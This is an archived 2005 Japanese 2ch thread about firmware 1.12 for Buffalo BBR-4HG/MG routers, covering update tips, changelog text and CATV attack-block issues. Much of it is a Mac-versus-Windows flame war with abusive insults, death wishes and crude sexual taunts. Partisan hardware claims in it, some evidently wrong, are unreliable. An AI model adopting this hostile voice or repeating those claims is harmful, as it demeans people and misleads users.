【無駄な議論】Coregaのルータ別館【禁止】
http://pc5.2ch.net/test/read.cgi/hard/1092554459/

マジで希望!!

678 :不明なデバイスさん:05/02/22 12:35:59 ID:2RFWW0/K
変質者VS妄想の対決だな

679 :不明なデバイスさん:05/02/22 13:25:15 ID:dFk2A76e
団子って愛知のCATV?

680 :不明なデバイスさん:05/02/22 13:56:12 ID:J9bvM4RO
お団子ちゃんとちゃんばばが結託したらそれはそれで怖いが。
時代劇風で

ちゃんばば「おぬしか!対岸のスレで見世物(オナヌショー)を商ってるのは!?」

お団子チャソ「いやいや、ちゃんばばの旦那の粘着には勝てませぬ・・・m(__)m」

ちゃんばば「いやはや、おぬしもなかなかのものだ。はっはっはっ!」

お団子チャソ「ここらでひとつ、オタ害の才能を合わせて敵を殲滅させては?」

ちゃんばば「そうか!その手があったか!! お団子チャソ、おぬしも悪やのう・・・ひひひ」



ごめんなさい。
調子に乗りすぎました。
自粛します。

681 :不明なデバイスさん:05/02/22 14:42:09 ID:pMb+zdmc
>>676
>>634
ttp://nobumasa-web.hp.infoseek.co.jp/multi_boot/windows.html

スレ違いネタでスマソ。

682 :不明なデバイスさん:05/02/22 16:08:31 ID:+7FMp2Mw
ファームウェア1.12
キタ━━━━━━━(゚∀゚)━━━━━━━━!!

683 :不明なデバイスさん:05/02/22 16:10:07 ID:+7FMp2Mw
Ver1.11β→Ver1.12
 
・東京BBチャンネルが1月からフレッツ・スクウェア東日本と統合されたため、簡易ウィ
 ザード内の東京BBチャンネルのプリセットを削除しました。
・アドレス変換を利用して、LAN側のPCから同じLAN内のサーバに対してダイナミックDNSで
 設定したホスト名を打ち込んだ際に、正常に名前解決できない問題を修正しました。
・BBRから外部のダイナミックDNSサーバに対してアクセスする際に、ダイナミックDNS側の
 IPアドレスが変更されてからBBR自身のDNS情報が新しいIPアドレスに変更されるまで
 1時間ほど時間がかかっていた問題を修正しました。


684 :不明なデバイスさん:05/02/22 16:11:44 ID:+7FMp2Mw
更新履歴
Ver1.10β→Ver1.10
逆になってる。
嫌な悪寒



685 :不明なデバイスさん:05/02/22 16:17:35 ID:gHYBDzfj
新ファームどこー!?
ここ↓はまだ更新されてないよ。
ttp://buffalo.melcoinc.co.jp/download/driver/lan/bbr4hg.html

686 :不明なデバイスさん:05/02/22 16:38:19 ID:HWGf9Be3
ttp://www2.melcoinc.co.jp/pub/lan/bbr4hg_112.exe

687 :不明なデバイスさん:05/02/22 16:46:08 ID:+7FMp2Mw
>>685
本体から逝け

688 :不明なデバイスさん:05/02/22 17:11:39 ID:z+hSci7n
β取れたー!(゚∀゚)

689 :不明なデバイスさん:05/02/22 17:37:05 ID:/rMMSOBG
>>685
こっちにもキタ━━━━(゚∀゚)━━━━ッ!!

690 :不明なデバイスさん:05/02/22 17:38:44 ID:J9bvM4RO
MG1.12更新。
さて、これでまたしばらく使ってみるか・・・期待できないけどナァ

691 :不明なデバイスさん:05/02/22 17:46:25 ID:2RFWW0/K
ダイナミックDNS関係が改善されたみたいね 期待age

692 :不明なデバイスさん:05/02/22 19:14:17 ID:qQCZqPmW
MGのはないの?

693 :不明なデバイスさん:05/02/22 19:16:12 ID:+Q8C2ayn
MGも更新されてるよ

694 :不明なデバイスさん:05/02/22 19:22:46 ID:J9bvM4RO
>>692
お前、絶対に更新を試みようとするな。
なんでかって、直リン張ってもらわないと分らないような頭で更新しようと
したところで失敗して起動できなくなるのが落ちだって。
マジで心配してるんだよ。
「起動できません、助けてください」なんて後で書かれてもみんなどうしようも
ないんだから、頼むからもう少し脳細胞が発育してから更新してくれ。
お願いだからさ。

695 :不明なデバイスさん:05/02/22 19:30:45 ID:XPR3wITE
では期待通りに直リン張ってみませう

↓↓HGはこっち↓↓
http://www2.melcoinc.co.jp/pub/lan/bbr4hg_112.exe

↓↓MGはこっち↓↓
http://www2.melcoinc.co.jp/pub/lan/bbr4mg_112.exe

両方win版ね。マカーは氏ね

696 :不明なデバイスさん:05/02/22 19:42:18 ID:B6o7SGc1
(・∀・)bグッジョブ!!

697 :不明なデバイスさん:05/02/22 20:01:10 ID:J9bvM4RO
差別はよそう。
例のオナニ旦那はマカでもドザでもなく単なる頭の病気持ちだから。

(・∀・)つ ほい、マック用

BBR-4MGファームウェア for Macintosh Ver1.12
http://www2.melcoinc.co.jp/pub/lan/bbr4mg_112.bin

BBR-4HGファームウェア for Macintosh Ver1.12
http://www2.melcoinc.co.jp/pub/lan/bbr4hg_112.bin



698 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 20:27:08 ID:wscumhUk
>>695
>両方win版ね。マカーは氏ね

残念でしょうが、
MacはMac OS Xのディスクからもインストールできる
ファイル解凍ソフト「StuffIt Expander」でEXE形式の
圧縮ファイルだって解凍できるのですよ。┐(´ー`)┌

699 :不明なデバイスさん:05/02/22 20:34:58 ID:Xw3zk1Fj
>>681
だから

Cドライブから起動してるじゃん
WindowsはOS自体はどこでもいいがシステムドライブ(\WinNT or \WINDOWS)は固定

あとMAC固有なんだが外付けHDにインストールすれば
他のMACでも起動可能
*MAC OS X はシラネ MacOS 9.xまでは可能
*68k macでもppc macでも起動可能 (Mac OS 7.6までか?)

>697
それ本体の自動アップデートで使ってるとこ

変更点
Ver1.11β→Ver1.12
 
・東京BBチャンネルが1月からフレッツ・スクウェア東日本と統合されたため、
 簡易ウィザード内の東京BBチャンネルのプリセットを削除しました。
・アドレス変換を利用して、LAN側のPCから同じLAN内のサーバに対してダイナミックDNSで
 設定したホスト名を打ち込んだ際に、正常に名前解決できない問題を修正しました。
・BBRから外部のダイナミックDNSサーバに対してアクセスする際に、ダイナミックDNS側の
 IPアドレスが変更されてからBBR自身のDNS情報が新しいIPアドレスに変更されるまで
 1時間ほど時間がかかっていた問題を修正しました。


700 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 20:41:44 ID:wscumhUk
>695

要するにMac OS XはCAB、ZIP、LHA、RAR、などなど
さまざまな圧縮形式に対応したファイル解凍ソフトが
標準搭載されているのですよ。

Windowsの場合はこんな面でもユーザーに対する配慮がなされて
いないので、初心者では圧縮ファイル1つ解凍できず余分な苦労を
強いられてしまうのですよ。┐(´ー`)┌

701 :不明なデバイスさん:05/02/22 20:47:41 ID:iSegB2Ky
なんか、すごいねここのスレ

マックOSマンセーはよく分かるけれど、別にWindowsユーザーだってMac使わないわけじゃないし。

俺なんかも、家庭じゃWindows、仕事じゃMac。

ドザだのマカーだのというのは、どっちか一つしか買えない貧乏人レベルの議論でしょ?

いい加減にスレ本来の話題に戻ろうぜ。

702 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 20:49:51 ID:wscumhUk
>671

パーツをソケットにはめ込み、ドライバーでねじ締めただけで、
自作きどりとは、いやはやずうずうしい勘違いさんですね。

自作を気取るなら、せめて基盤に電子部品をハンダづけ
するとこから始めなければ。┐(´ー`)┌

703 :不明なデバイスさん:05/02/22 20:50:37 ID:qtxS1b0y
>>701
だからスルーしてるんでしょ
何考えてんの
あんた

704 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 20:52:04 ID:wscumhUk
>670
>家にはかわいい奥さんがいるんで間に合ってますが。

例えるなら、Windowsタイプのお嫁さんと、
Macタイプのお嫁さんとではいったいどちらが好みですか?

そして自分自信、薄く浅い友達がたくさんいる人間性と、
少なくとも絆の固い親友が作れる人間性とでは、
どちらに成りたいと思いますか?

705 :不明なデバイスさん:05/02/22 20:52:33 ID:iSegB2Ky
>>703
すまんかったね

ところでBHR-4RVのスレは見あたらないようだけれど、
このスレでは取り扱わないの?

706 :不明なデバイスさん:05/02/22 20:54:23 ID:yRerR58+
>>701
はもう何も書き込みしない方が良いと思うよ。
専用ブラウザも使って無いだろ?
半年間スレを(ry

707 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 20:55:46 ID:wscumhUk
>>664
>A社の包丁とB社の包丁でどこまで仕事の結果に差があるんだろう?

違いが見える腕があるからこそ、プロの料理人は高価な包丁を使い、
プロの美容師は数万〜数十万のはさみを使って仕事をするのでしょう。

違いの見えない人には高価な包丁も粗悪な包丁も見分けなど
できないように、Windowsが如何に粗悪かなど理解できないのでしょうね。┐(´ー`)┌

708 :不明なデバイスさん:05/02/22 21:26:06 ID:9D6qF4H9
>>648
FTPサーバはPassiveモードなんでしょうか、それともPortモード?
20番を開けているということはPortモードのようにも見えるし、PASVコマンドが
飛んでいるということはPassiveモードのようにも見えるし。

Passiveモードだと仮定した場合、データ転送セッションのListenポートはいくつ
に設定してますか。そのポートを開けないとダメだと思うんですが。

Portモードの場合はどうなんだろう。レガシーポートによる発信が制限されてる
んだろうか。


709 :不明なデバイスさん:05/02/22 22:14:42 ID:q7/yfWQI
もう一度書かなきゃダメか?

 放  置  で  き  な  い  ヤ  ツ  も  立  派  な  荒  ら  し  !!

710 :不明なデバイスさん:05/02/22 22:14:44 ID:SuNAojEF
>702
ハンダ付けでもどうでも良いのでMacの自作パーツを売っている店紹介してください。
友達の持ってるG5やG4とは違うモノを作りたいです。
まさか無いなんて言いませんよね?

711 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 22:18:28 ID:wscumhUk
>710

お金があるのならパーツなどいくらでも手に入りますよ。┐(´ー`)┌

http://store.apple.com/0120-APPLE-1/WebObjects/japanstore/

712 :不明なデバイスさん:05/02/22 22:19:39 ID:3sANja7j
>>710
黙れ氏寝書き込むなボケ貸す

713 :不明なデバイスさん:05/02/22 22:21:48 ID:SuNAojEF
>711
おかしいですね 普通のパーツしか売ってないです。
電源やケース、ロジックボードなどは選べないのですか?
また、DDRは遅いのでDDR2にしたいのですが、ここには無いですね。

714 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 22:28:51 ID:wscumhUk
>713
>電源やケース、ロジックボードなどは選べないのですか?

最初から大容量の電源と最適な性能をたたき出すロジックボード
CPUが搭載されているので変える必要がないのです。

Macはポンコツ既製品のWindows環境とは違いますからね。

ま、ケースがどうしても変えたいと言うのなら、勝手に不細工な
DOSケースを買って移植すれば良いことです。┐(´ー`)┌



715 :不明なデバイスさん:05/02/22 22:31:19 ID:3sANja7j
>>713 ID:SuNAojEF
黙れ氏寝書き込むなボケ貸す

716 :不明なデバイスさん:05/02/22 22:33:58 ID:EoRzr4So
WindowsにはWindowsしかできない事もある
立体的なフォントとかグラフィカルで大きなアイコンとか、Lunaは勿論
「ウインドウをドラッグするとウインドウの裾がはためく」とかMacを無理に真似したがるからそうなる
Windowsはこれ以上余計な物を搭載しなくても良い

漏れは営業用のカローラバンを豊富な国産チューンナップパーツで、エンジン強化と軽量化、
高機能なレカロシートに変更した方が漏れは性に合っている、高級車がそうできればそれに越した事はない
故障したら自分だけでパーツ交換もできないディーラーに駆け込むしかない車、
おまいの好きなベンツやBMW(Macで言えばハード部分)には興味がない
Macはメーカー製Windows機と同じPCケースが割れたらメーカー逝き
体裁ばかり気にする見掛け倒しのおまいみたいな気違いマカーこそMacがふさわしい、
低脳には使いこなせていようといまいと腐らせていようと関係ない、まさにMacがお似合い
m9っ(゚ ∀ ゚) あひゃひゃひゃ

Macのシースルー(スケルトン)が出た時、漏れは正直ガクシきたね
多くの透明な材質は弱い
プラスチックを多用すると静電気や電磁波のシールド効果もお粗末になりやすい
おいおい大丈夫なのかと危惧したが、思った通り他社も真似してくる始末
せっかく放熱性の良いアルミ金属なのにその上にスケルトンを被せてくるアフォなメーカーも出てきた
ケーブル被服の類も破れやすく弱い透明な塩化ビニールときた
塩化ビニールは可塑剤が自然になくなるので耐侯性もない
金属やABS部分がアクリルに代わったり、もう目も当てられない
デザインばかり受けばかりを狙うからこうなる
気違いマカーには今までそんな事思った事も考えた事もないだろうがな

漏れは多くの事を見通した上でのポリシーでPC/AT互換機を使っている
今の体制のMacなんか使ってられるかっちゅーの

気違いマカー、おまいみたいな低脳が居るからブランド物やAppleが生きていけるのだろう
おまいの使命は重大
Mac製品を沢山買ってAppleに沢山貢いで支えてください、絶滅させてはいけませんよ
m9っ(゚ ∀ ゚) あひゃひゃひゃ

717 :不明なデバイスさん:05/02/22 22:35:31 ID:SuNAojEF
>714
おかしいですね、G4などは電源足りずにHDD増設でクラッシュ続発のはずですし、
G5になって大容量とはほど遠い普通の安物電源を積んでるはずですが。 
出来れば600W以上のジッピー辺り(リダンダントだったらなお良い)を希望します。
Mac用売ってる店紹介してください。

718 :不明なデバイスさん:05/02/22 22:36:30 ID:MwV5QdW6
がんばれ ID:SuNAojEF

719 :不明なデバイスさん:05/02/22 22:37:36 ID:FfJySLJN
団子の自演か

720 :不明なデバイスさん:05/02/22 22:39:09 ID:3sANja7j
>>713 ID:SuNAojEF
>>716 ID:EoRzr4So
>>718 ID:MwV5QdW6

黙れ 氏寝 書き込むな ボケ 貸す

消えろ。いい加減にしろ。


721 :不明なデバイスさん:05/02/22 22:40:06 ID:wrr3DEf0
自慰の間違いでは

722 :不明なデバイスさん:05/02/22 22:47:39 ID:VAsLBo82
お団子ちゃん ◆DANGOpn1U2 catv-224-113-051.tees.ne.jp

723 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 22:49:19 ID:wscumhUk
>716

あ、一報報告しておきますと、iMacは透明素材と言っても
アクリルなどではなく、防弾シールドにも使われるほ
高い強度を誇るポリカーボネード製ですよ。

おまけに当時のシースルーiMacはファンすら不要な低温仕様なので、
粗悪なまがい物やウィンドウズマシンとは同じに考えない方が
良いと思います。┐(´ー`)┌

724 :不明なデバイスさん:05/02/22 22:49:51 ID:XPR3wITE
ぶ CATVかよ wwwwwっうぇ

725 :不明なデバイスさん:05/02/22 22:49:54 ID:MwV5QdW6
団子まだかよ

726 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 22:51:04 ID:wscumhUk
>717

600Wの電源が必要な人の気が知れませんがね。┐(´ー`)┌

727 :不明なデバイスさん:05/02/22 22:59:23 ID:lvdthDGC
>>699
最初のWin批判の>634の言ってるような検証用クリーンな状態って意味ではDドライブでも満足できるんではないか?
Cドライブからも5,6個ほど読み込まれるが、それはクリーンでないとは言わないだろう。
あとは、今時SCSIは使わなくともRAIDカードでそちらを起動用にするって事もできるしな。

728 :不明なデバイスさん:05/02/22 23:00:11 ID:jZNHDDbs
SPI機能ってそんな必要なモンすかね?個人鯖とかやらずフツーに使うんですが。

729 :不明なデバイスさん:05/02/22 23:00:54 ID:SuNAojEF
>726
APPLEが不要だと解釈したので実際エンドユーザーが電源足りずに
エラー出すようなハードになったのではないですか?
PRO用を歌ってるのであればそれなりのパーツを厳選したいです。

あと、G5にはHDDが2台しか収納できないようですが、コレでは
記憶領域が足りません。 ついでにRAID5クラスを組みたいのですが
HDDはどうしたらいいのですか? 内蔵できないようなので、
コレを可能にするケースが欲しいです。 どこに行ったら売っていますか?

出来ないのであれば、結局のところMacはFMVやVAIOと
さほど変わらない吊しのPCなのですか?

730 :不明なデバイスさん:05/02/22 23:08:13 ID:EoRzr4So
電源も交換できない600Wも載せられない何もできない
自作PCと違ってメーカ製Windows機と同じ、ごみ同然、
Macは同じメーカ製PCだから仕方ないか
m9っ(゚ ∀ ゚) あひゃひゃひゃ

731 :不明なデバイスさん:05/02/22 23:15:09 ID:FfJySLJN
>>730
寝ろ

732 :不明なデバイスさん:05/02/22 23:15:12 ID:6yaEa3Ls
頼むから正義感気取りで論破しようとするのはヤメテくれ。

俺らはタダ、ルータの話がしたいだけなんだ。

733 :不明なデバイスさん:05/02/22 23:22:15 ID:kEoRayDm
自動アップデートができないんだが。
時間かかるの?これ。

734 :不明なデバイスさん:05/02/22 23:25:27 ID:J9bvM4RO
>>733
自動はやめて手動でやってみたら?

735 :不明なデバイスさん:05/02/22 23:26:06 ID:kEoRayDm
あ。でけた。
WANランプだけがテカテカなってたからダウンロードしてたんだろうね。
でもダメだと思って2回更新したが特に問題なし。
どういうしくみなんだろ。

736 :不明なデバイスさん:05/02/22 23:32:09 ID:J9bvM4RO
仕組みは単に人間の代わりにファイル鯖にアクセスしてDLして更新してるだけ。
手動と手順はなんら変わらない。
ただブラウザ越しに詳細に行程が確認できないのが難点。
とりあえず更新できたらそれでいいんじゃないか?

737 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 23:34:46 ID:wscumhUk
>729

自作マニアなあなたですから、是非ケースを自作して
電源もお好きな物を改良して、ライドカード増設するなりして、
好きなだけドライブを搭載して下さいな。┐(´ー`)┌

738 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 23:37:31 ID:wscumhUk
ライド=×
レイド=○


739 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 23:39:53 ID:wscumhUk
>>730

600W 600Wって、何でそんなに電源容量が必要になるのか
理解に苦しむよ。もしかして違法なファイル集めまくってるの?┐(´ー`)┌

740 :不明なデバイスさん:05/02/22 23:41:23 ID:IDCdrYkZ
只今、お団子ちゃんのオナニーショーが始まっています。


        (;´Д`)ハァハァ


ショーを覗きたい方は今すぐクリックして「あぽーん」
フィルターをはずしてください。

741 :不明なデバイスさん:05/02/22 23:41:36 ID:wrr3DEf0
>>737
自作も出来ない馬鹿ですから、是非ケースを拾ってきて(ゴミ捨て場から)
電源もお好きな物を窃盗して、エロ雑誌読むなりして、
好きなだけオナニーを満喫して下さいな。┐(´ー`)┌

to>>ID:wscumhUk

742 :不明なデバイスさん:05/02/22 23:44:55 ID:yz9Mu+b6
>>705
そう、4RVネタがないのは不思議ですね。製品自体はだいぶ前に出たのに。

--
ファイル改竄チェックはじめ非常に幅広く利用されてきた【SHA1がbroken】ってこと、
今回のファームウェアVerUpに関係ありそうですね。
愛用のPersonalFirewallソフトもfile改竄チェックにSHA1使ってるんだよな。

--
お団子ちゃん
うちのソニー製品は堅実にしぶとく機能してるよ。
いまTV30年、オーディオタイマー20年、チューナー15年かな。TVにはそろそろ壊れて欲しい。


743 :不明なデバイスさん:05/02/22 23:45:45 ID:SuNAojEF
>739
折角のMacです。 ムービー編集とか画像補整とか色々やるには
純正のマシンでは手狭です。 単純に「もしかして違法なファイル集めまくってるの?」
と言うあなたの方が思考回路が短絡なのはないですか? もしや???
人と違うMacを使いたいのでMacの自作部品売ってるところ紹介してください。
早く紹介してくれないと、まだまだ色々と部品は有りますよ!

744 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 23:48:01 ID:wscumhUk
>>743

光学ドライブ2台にHD4台搭載するのに
いったい何Wの電源が必要なのですか?

で、Mac G5は何Wの電源搭載しているのか
知っているのですか?

745 :お団子ちゃん ◆DANGOpn1U2 :05/02/22 23:51:13 ID:wscumhUk
>>743

本当は図星だったくせに、異常なほどハードディスクを
必要としている原因をムービー編集で必要だとでも言いたいのですか?
Mac G5にはFireWire800も搭載されているので、何も内蔵しなければ
できないわけでもないので、好きなだけHD増設して下さいな。┐(´ー`)┌

746 :不明なデバイスさん:05/02/23 00:13:34 ID:l4k4/SU4
>>727
たぶん納得してないはず

MACだとデバイス名(C: とか D:等)なんて使ってない
デバイスの場所を指定 (この辺 Linuxと同じ?)

NTカーネルでもデバイスの場所を指定可能だがシステムドライブのデバイス名(C: とか)は固定
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT


NET USE [デバイス名 | *] [\\コンピュータ名\共有名[\ボリューム]
[パスワード | *]] [/USER:ユーザー名]
[/USER:ユーザー名]

[[/DELETE] | [/PERSISTENT:{YES | NO}]]

デバイス名ってことは aux999 とか指定できるんか?

747 :不明なデバイスさん:05/02/23 00:14:44 ID:+SBIg7zo
>745
>異常なほどハードディスクを
>必要としている原因をムービー編集で必要だとでも言いたいのですか?
当たり前です、折角自作MACを作るのです。 噂のファイナルカットとか言う
APPLE謹製のソフトでHDムービー編集をしてみたいのです。
それと、このクラスのノンリニアやるのにFireWire800どころでは追いつかないと思うのですが?

748 :不明なデバイスさん:05/02/23 00:15:04 ID:4gs5jZVR
>>745
本当はマンドク星だったくせに、騎乗なほどハードプレイを
必要としている原因をダービー編集で必要だとでも吐きたいのですか?
Bac G69にはFirePlay尺8も搭載されているので、何も肝臓しなへれば
でけないわけでもなきにしもあらずなので、好きなだけオナニーして下さいな。┐(´ー`)┌

ID:wscumhUk でした。

749 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 00:19:34 ID:Q2v7pFKK
>742

例えば他社が8万円で作る品質を、ソニーが作ったら10万円になります。
と言うことは、値段が同じ品ならソニーの方がコストダウンが激しく、
品質がより劣ると言うことです。

コストを度外視しやすい業務用製品やブランドイメージで他社より
高値で売っていた昔のソニー製品なら良かったでしょうが、
現在の様にデフレが続いては、ソニーだからと言って高値で物が売れる
時代ではなくなり、ライバルと同じ値段で売るしかなくなったのです。

ソニー製品が粗悪だと言われ始めたのもこの頃で、見てくれだけ良くして
粗悪なパーツで組み上げた製品を作りライバルの価格に対抗しましたが、
ネットでの口コミにより、ソニーが粗悪品であることが瞬く間に広がり、
今では粗悪な製品を作る代名詞的な会社へと堕落して行きました。

ライバルの好業績とは反対に、今期もソニーは最悪な業績でしたが、
PSPや新型PS2などの初期不良の多さを見れば分かるように、ソニーに
反省の色はないどころか、粗悪ぶりは酷くなる一方なので、
後は落ちる所まで落ちて行くだけでしょう。┐(´ー`)┌

750 :不明なデバイスさん:05/02/23 00:29:46 ID:4gs5jZVR
>749

例えばキミ(ヲタク)が8円で作る品質を、ソニーが作ったらゴミになります。
と言うことは、値段が上でもキミ(ヲタク)の方が知能ダウンが激しく、
人間がより劣ると言うことです。

世の中を度外視しやすいキミ(ヲタク)やブランドイメージで他社より
高値で売っていた昔のソニー製品なら良かったとは言えませんが、
現在の様にヲタク嵐が続いては、水牛だからと言って中身同で物が売れる
時代ではなくなりとも言えず、ラバウルと同じ国で売るしかなくなったのですと妄想します。

キミ(ヲタク)が粗悪だと言われ始めたのもこのスレッドで、見てくれだけ人間ヅラして
邪悪な心で盗んだ製品を使い2ちゃんの罵声に対抗しましたが、
家庭での状況により、キミ(ヲタク)が粗悪動物であることが瞬く間に広がり、
今では邪悪なレスを作る代名詞的なクズへと堕落して逝ったのは当然の帰結です。

ライバルの好業績とは反対に、今期もソニーは最悪な業績でしたが、
PSPや新型PS2などの初期不良の多さを見れば分かるように、ソニーに
反省の色はないどころか、粗悪ぶりは酷くなる一方なので、
後は落ちる所まで落ちて行くだけでしょう。┐(´ー`)┌

751 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 00:36:29 ID:Q2v7pFKK
>>747
>このクラスのノンリニアやるのにFireWire800どころでは追いつかないと思うのですが?

FireWire800の実質転送速度は60MB/秒ほど出ますが、
これではHDムービー編集作業に何か支障がでますか?

752 :不明なデバイスさん:05/02/23 00:42:21 ID:+SBIg7zo
>751
データを単純に読み書きするだけの理想論ではHDムービー編集は出来ません。
このようなFireWire800オンリーワンなシステム構築で運用できるほど甘い世界ではないです。

何でも良いので、当初からの質問にきちんと答えてください。
これではいつまでたっても夢の自作Macが出来ないじゃないですか。

753 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 00:52:07 ID:Q2v7pFKK
>>752

では、HDムービー編集の編集をやる為に必要となる
転送量はいくつですか?

と言うより、編集にそれほど高いディスク性能が必要なら、
内蔵ハードディスクを使えば良いでしょう?

そして完成したデーターの保存はFireWire800のディスクに
溜め込む・・・。これで何か問題でも?

754 :不明なデバイスさん:05/02/23 00:56:34 ID:+SBIg7zo
>753
速ければ速いほど良いに決まっています。 当たり前じゃないですか。
編集で出た大量のデータをコピーするだけでも遅ければ大変です。

>完成したデーターの保存はFireWire800のディスクに溜め込む・・・
問題があるから言っているのです。 私が作りたいのであって、
あなたの感覚などどうでも良いことです。

何でも良いので、当初からの質問にきちんと答えてください。
これではいつまでたっても夢の自作Macが出来ないじゃないですか。
まだCPUも決まってませんしマザーボードもメモリも決まってませんよ。

755 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 00:57:58 ID:Q2v7pFKK
FireWireなら何台でもハードディスクや光学ドライブを増設可能ですし、
パソコンの電源容量が問題になることもありません。

標準で搭載できる2台のシリアルHDは、特に速度が重用視される
場合に活用し、バックアップ用途はFireWire800。

メモリーも8M搭載できる上、7GHz相応のPen4の性能を持つ
PowerMac G5(2.5GHzDual)ならマザーボードの変更や
CPU性能も問題となることはないでしょう〜。


756 :不明なデバイスさん:05/02/23 00:59:43 ID:za7ts3jr
FFDQ板で犯行予告4
http://news19.2ch.net/test/read.cgi/news/1109081546/


757 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 01:00:00 ID:Q2v7pFKK
>>754
>遅ければ大変です。

USB2.0じゃあるまいし、FireWire800の転送速度は
遅いと呼べるような物ではないと思いますが?┐(´ー`)┌

758 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 01:02:54 ID:Q2v7pFKK
>727

Windowsはソフトのショートカットを作成しても、
元のソフトの位置が変わるだけで認識しなくなります。

しかしMacのエイリアス(ショートカットの類)は本物が
移動されようが問題なく動作します。

Macはダウンロード最中のファイルの置き場所さえ
変更できるほど、柔軟性が高いのです。┐(´ー`)┌

759 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 01:06:07 ID:Q2v7pFKK
>754

こんなショボそうな製品でもこの性能。┐(´ー`)┌
http://www.ratocsystems.com/products/subpage/fr8ifk1.html

ベンチマーク
http://www.ratocsystems.com/products/subpage/dock/fr8ifk1_data_2.html

760 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 01:13:27 ID:Q2v7pFKK
>758

MacはFireWireのHDに自分のOS環境をコピーして
他のMacに接続してそこから起動することも可能なので、
自分のOS環境を持ち歩くことさえ出来る柔軟性があるのです。

逆に言えば、他人のOS環境を自分のマシンで動作させ、
どこに問題があるのか探し出すことだってできるのです。

もー、何から何までWindowsの比ではないのですよ。┐(´ー`)┌

761 :不明なデバイスさん:05/02/23 01:15:54 ID:97l+sP/l
を、こんなところに団子がいる。

mac板で変な発言すると団子扱いされるんだよなー・・・。

762 :不明なデバイスさん:05/02/23 01:19:02 ID:a/6rSnwT
工エエェェ(´д`)ェェエエ工工

やっぱり

763 :お団子ちゃん ◆DANGOpn1U2 :05/02/23 01:21:27 ID:Q2v7pFKK
>761

それはお気の毒に。(ノ´∀`*)

764 :不明なデバイスさん:05/02/23 01:33:44 ID:x4unn1v3
>>761
お団子ちゃんって2chのスターの一人なんですか?



765 :不明なデバイスさん:05/02/23 01:36:50 ID:IyLSB3oW
困ったもんだ。

766 :不明なデバイスさん:05/02/23 01:39:39 ID:TZ3uR6oT
素直に質問なんだが、何をもってPEN4の7Ghz相当なの?
昔から言われてるけど、ウサンクセーなって思ってたんで。


767 :不明なデバイスさん:05/02/23 02:14:19 ID:zyEIU+Ky
>>764
全然、ただのオナニーコテハン。

768 :不明なデバイスさん:05/02/23 02:16:41 ID:zyEIU+Ky
指摘すんのもメンドクサイけど、こいつハードウェアとか
全然しらないで、書き込んでるから。
ほとんど間違ってるのよwww

769 :不明なデバイスさん:05/02/23 03:12:16 ID:EU6rk8p+
BBRの新ファームどうすか?
俺も早速更新しました
今のとこ順調

まぁ、フツーの使いかたしかしてないけど

770 :不明なデバイスさん:05/02/23 03:27:44 ID:dDWq7xXG
お団子のアク禁まだ〜(AA略

771 :不明なデバイスさん:05/02/23 06:43:07 ID:3vQltRS5
>>769
今の所快調。
速度も驚くほど安定した。

772 :素人志向:05/02/23 09:30:19 ID:SC4chD/T
HGを新ファームにしましたが、実際には変更履歴に書かれている以外の問題も
いくつか水面下で修正されているようですね。良いことです。

さて、HGを使い始めて約半年になりますが、CATVでインターネットをされている
方は、セキュリティーを「中」にするかアタックブロックを無効にすることを
おすすめします。CATVでは色々な加入者が出すマルチキャストがケーブル上に
すべて出てしまい、ケーブルモデムもHGもマルチキャストをフィルタアウトする
ことができないので、これらがすべてUDP Floodとしてログされ通信が遮断され
ます。また、IPアドレスを自動取得したDNSサーバーが他の加入者へ出すパケット
をなぜかHGに対するアタックと勘違いされて通信が遮断されることもあります。
こうなると急にブラウザが使えなくなったりします。

ですので、おそらくFTTHの方はHGのフル機能を快適に使うことができるのでは
ないかと思います。癖のあるHGですが、苦労をさせられた末にここまで安定
してくれましたので、今となっては可愛いと感じています。


773 :不明なデバイスさん:05/02/23 11:23:32 ID:pvx422Jb
>>772
セキュリティー高
アタックブロック オン
FTTH
で無問題だが?

774 :不明なデバイスさん:05/02/23 11:36:44 ID:dTmutI98
>>773
(゚ν゚)ニホンゴムズカスィネー
て方ですか?
自分には
「CATVでは]
と書いてあるように見えるのですが?
>>772
様子見でしたがVer1.12特に問題ないみたいですね。
安定性も問題ないみたいですし、
さすがβを取るだけじゃなく、バージョンまでアップしただけのことはある?
自分も試しに更新してみます。


775 :不明なデバイスさん:05/02/23 13:23:42 ID:LtqB5mR2
オレP2P厨だけど1.12安定してるべさ。でも1.10ですでに安定してたんだけどね

今回の目玉は「ダイナミックDNS機能の安定化」だからコレ使ってる人に是非検証してほすぃね

   ↑↑(でもこれって1.11βで不安定になったのを元の仕様に戻しただけ?)↑↑

776 :不明なデバイスさん:05/02/23 13:47:56 ID:IyIDsRRH
>>775
たぶん正解

777 :不明なデバイスさん:05/02/23 15:50:53 ID:IyLSB3oW
じゃ 1.10 ですでに満足な漏れは1.12する必要なしでFA?

778 :不明なデバイスさん:05/02/23 17:28:20 ID:qTdl0ra1
団子はMac板のVPCスレでMacを貶しまくってwin実機を褒め称えていた奴だ

779 :不明なデバイスさん:05/02/23 18:35:50 ID:FpC3acFg
p2pはできるけど、FTPサーバーが繋がらん。20/21ポート開ける意外にする事ある?

780 :不明なデバイスさん:05/02/23 19:10:40 ID:qGwcp2oD
>>779
FTPサーバの設定がわからんとコメントしようがない。

781 :不明なデバイスさん:05/02/23 19:46:14 ID:IyIDsRRH
>>778
まぁ基地外ってのはわかってたけど、そこまでとはね....

ここも釣り氏気取りで来たんだろうけど既にみんなフィルタで無視してるしな

782 :779:05/02/23 19:46:30 ID:FpC3acFg
>780
